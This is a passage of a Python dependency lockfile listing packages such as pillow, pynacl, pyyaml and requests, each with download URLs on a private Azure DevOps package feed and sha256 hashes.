"https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:3e645b020f3209a0181a418bffe7b4a93171eef6c4ef6cc20980b30bebf17b7d" }, 486 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:b2dbea1012ccb784a65349f57bbc93730b96e85b42e9bf7b01ef40443db720b4" }, 487 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:da3104c57bbd72948d75f6a9389e6727d2ab6333c3617f0a89d72d4940aa0443" }, 488 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:598174aef4589af795f66f9caab87ba4ff860ce08cd5bb447c6fc553ffee603c" }, 489 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-win32.whl", hash = "sha256:1d535df14716e7f8776b9e7fee118576d65572b4aad3ed639be9e4fa88a1cad3" }, 490 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:14e33b28bf17c7a38eede290f77db7c664e4eb01f7869e37fa98a5aa95978941" }, 491 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:21e1470ac9e5739ff880c211fc3af01e3ae505859392bf65458c224d0bf283eb" }, 492 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fdec757fea0b793056419bca3e9932eb2b0ceec90ef4813ea4c1e072c389eb28" }, 493 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b0e130705d568e2f43a17bcbe74d90958e8a16263868a12c3e0d9c8162690830" }, 494 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bdb5e09068332578214cadd9c05e3d64d99e0e87591be22a324bdbc18925be0" }, 495 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d189ba1bebfbc0c0e529159631ec72bb9e9bc041f01ec6d3233d6d82eb823bc1" }, 496 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:191955c55d8a712fab8934a42bfefbf99dd0b5875078240943f913bb66d46d9f" }, 497 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ad275964d52e2243430472fc5d2c2334b4fc3ff9c16cb0a19254e25efa03a155" }, 498 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:750f96efe0597382660d8b53e90dd1dd44568a8edb51cb7f9d5d918b80d4de14" }, 499 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fe15238d3798788d00716637b3d4e7bb6bde18b26e5d08335a96e88564a36b6b" }, 500 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-win32.whl", hash = "sha256:3fe735ced9a607fee4f481423a9c36701a39719252a9bb251679635f99d0f7d2" }, 501 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:74ee3d7ecb3f3c05459ba95eed5efa28d6092d751ce9bf20e3e253a4e497e691" }, 502 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:5119225c622403afb4b44bad4c1ca6c1f98eed79db8d3bc6e4e160fc6339d66c" }, 503 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:8ce2e8411c7aaef53e6bb29fe98f28cd4fbd9a1d9be2eeea434331aac0536b22" }, 504 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:9ee66787e095127116d91dea2143db65c7bb1e232f617aa5957c0d9d2a3f23a7" }, 505 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9622e3b6c1d8b551b6e6f21873bdcc55762b4b2126633014cea1803368a9aa16" }, 506 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63b5dff3a68f371ea06025a1a6966c9a1e1ee452fc8020c2cd0ea41b83e9037b" }, 507 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:31df6e2d3d8fc99f993fd253e97fae451a8db2e7207acf97859732273e108406" }, 508 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:062b7a42d672c45a70fa1f8b43d1d38ff76b63421cbbe7f88146b39e8a558d91" }, 509 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4eb92eca2711ef8be42fd3f67533765d9fd043b8c80db204f16c8ea62ee1a751" }, 510 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f91ebf30830a48c825590aede79376cb40f110b387c17ee9bd59932c961044f9" }, 511 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-win32.whl", hash = "sha256:e0b55f27f584ed623221cfe995c912c61606be8513bfa0e07d2c674b4516d9dd" }, 512 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:36d6b82164c39ce5482f649b437382c0fb2395eabc1e2b1702a6deb8ad647d6e" }, 513 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pillow/11.2.1/pillow-11.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:225c832a13326e34f212d2072982bb1adb210e0cc0b153e688743018c94a2681" }, 514 | ] 515 | 516 | [[package]] 517 | name = "prompt-toolkit" 518 | version = "3.0.51" 519 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 520 | dependencies = [ 521 | { name = "wcwidth" }, 522 | ] 523 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/prompt-toolkit/3.0.51/prompt_toolkit-3.0.51.tar.gz", hash = "sha256:931a162e3b27fc90c86f1b48bb1fb2c528c2761475e57c9c06de13311c7b54ed" } 524 | wheels = [ 525 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/prompt-toolkit/3.0.51/prompt_toolkit-3.0.51-py3-none-any.whl", hash = "sha256:52742911fde84e2d423e2f9a4cf1de7d7ac4e51958f648d9540e0fb8db077b07" }, 526 | ] 527 | 528 | [[package]] 529 | name = "ptyprocess" 530 | version = "0.7.0" 531 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 532 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ptyprocess/0.7/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220" } 533 | wheels = [ 534 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/ptyprocess/0.7/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35" }, 535 | ] 536 | 537 | [[package]] 538 | name = "pure-eval" 539 | version = "0.2.3" 540 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 541 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pure-eval/0.2.3/pure_eval-0.2.3.tar.gz", hash = "sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42" } 542 | wheels = [ 543 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pure-eval/0.2.3/pure_eval-0.2.3-py3-none-any.whl", hash = "sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0" }, 544 | ] 545 | 546 | [[package]] 547 | name = "pycparser" 548 | version = "2.22" 549 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 550 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pycparser/2.22/pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6" } 551 | wheels = [ 552 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pycparser/2.22/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc" }, 553 | ] 554 | 555 | [[package]] 556 | name = "pydyf" 557 | version = "0.11.0" 558 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 559 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pydyf/0.11/pydyf-0.11.0.tar.gz", hash = "sha256:394dddf619cca9d0c55715e3c55ea121a9bf9cbc780cdc1201a2427917b86b64" } 560 | wheels = [ 561 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pydyf/0.11/pydyf-0.11.0-py3-none-any.whl", hash = "sha256:0aaf9e2ebbe786ec7a78ec3fbffa4cdcecde53fd6f563221d53c6bc1328848a3" }, 562 | ] 563 | 564 | [[package]] 565 | name = "pygithub" 566 | version = "2.6.1" 567 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 568 | dependencies = [ 569 | { name = "deprecated" }, 570 | { name = "pyjwt", extra = ["crypto"] }, 571 | { name = "pynacl" }, 572 | { name = "requests" }, 573 | { name = "typing-extensions" }, 574 | { name = "urllib3" }, 575 | ] 576 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pygithub/2.6.1/pygithub-2.6.1.tar.gz", hash = "sha256:b5c035392991cca63959e9453286b41b54d83bf2de2daa7d7ff7e4312cebf3bf" } 577 | wheels = [ 578 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pygithub/2.6.1/PyGithub-2.6.1-py3-none-any.whl", hash = "sha256:6f2fa6d076ccae475f9fc392cc6cdbd54db985d4f69b8833a28397de75ed6ca3" }, 579 | ] 580 | 581 | [[package]] 582 | name = "pygments" 583 | version = "2.19.1" 584 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 585 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pygments/2.19.1/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f" } 586 | wheels = [ 587 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pygments/2.19.1/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c" }, 588 | ] 589 | 590 | [[package]] 591 | name = "pyjwt" 592 | version = "2.10.1" 593 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 594 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyjwt/2.10.1/pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953" } 595 | wheels = [ 596 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyjwt/2.10.1/PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb" }, 597 | ] 598 | 599 | [package.optional-dependencies] 600 | crypto = [ 601 | { name = "cryptography" }, 602 | ] 603 | 604 | [[package]] 605 | name = "pynacl" 606 | version = "1.5.0" 607 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 608 | dependencies = [ 609 | { name = "cffi" }, 610 | ] 611 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba" } 612 | wheels = [ 613 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1" }, 614 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92" }, 615 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394" }, 616 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d" }, 617 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858" }, 618 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b" }, 619 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff" }, 620 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" }, 621 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pynacl/1.5/PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93" }, 622 | ] 623 | 624 | [[package]] 625 | name = "pyphen" 626 | version = "0.17.2" 627 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 628 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyphen/0.17.2/pyphen-0.17.2.tar.gz", hash = "sha256:f60647a9c9b30ec6c59910097af82bc5dd2d36576b918e44148d8b07ef3b4aa3" } 629 | wheels = [ 630 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyphen/0.17.2/pyphen-0.17.2-py3-none-any.whl", hash = "sha256:3a07fb017cb2341e1d9ff31b8634efb1ae4dc4b130468c7c39dd3d32e7c3affd" }, 631 | ] 632 | 633 | [[package]] 634 | name = "pyvis" 635 | version = "0.3.2" 636 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 637 | dependencies = [ 638 | { name = "ipython" }, 639 | { name = "jinja2" }, 640 | { name = "jsonpickle" }, 641 | { name = "networkx" }, 642 | ] 643 | wheels = [ 644 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyvis/0.3.2/pyvis-0.3.2-py3-none-any.whl", hash = "sha256:5720c4ca8161dc5d9ab352015723abb7a8bb8fb443edeb07f7a322db34a97555" }, 645 | ] 646 | 647 | [[package]] 648 | name = "pyyaml" 649 | version = "6.0.2" 650 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 651 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e" } 652 | wheels = [ 653 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab" }, 654 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725" }, 655 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5" }, 656 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425" }, 657 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476" }, 658 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48" }, 659 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b" }, 660 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4" }, 661 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8" }, 662 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba" }, 663 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1" }, 664 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133" }, 665 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484" }, 666 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5" }, 667 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc" }, 668 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652" }, 669 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183" }, 670 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/pyyaml/6.0.2/PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563" }, 671 | ] 672 | 673 | [[package]] 674 | name = "requests" 675 | version = "2.32.3" 676 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 677 | dependencies = [ 678 | { name = "certifi" }, 679 | { name = "charset-normalizer" }, 680 | { name = "idna" }, 681 | { name = "urllib3" }, 682 | ] 683 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/requests/2.32.3/requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760" } 684 | wheels = [ 685 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/requests/2.32.3/requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6" }, 686 | ] 687 | 688 | [[package]] 689 | name = "stack-data" 690 | version = "0.6.3" 691 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 692 | dependencies = [ 693 | { name = "asttokens" }, 694 | { name = "executing" }, 695 | { name = "pure-eval" }, 696 | ] 697 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/stack-data/0.6.3/stack_data-0.6.3.tar.gz", hash = "sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9" } 698 | wheels = [ 699 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/stack-data/0.6.3/stack_data-0.6.3-py3-none-any.whl", hash = "sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695" }, 700 | ] 701 | 702 | [[package]] 703 | name = "tinycss2" 704 | version = "1.4.0" 705 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 706 | dependencies = [ 707 | { name = "webencodings" }, 708 | ] 709 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/tinycss2/1.4/tinycss2-1.4.0.tar.gz", hash = "sha256:10c0972f6fc0fbee87c3edb76549357415e94548c1ae10ebccdea16fb404a9b7" } 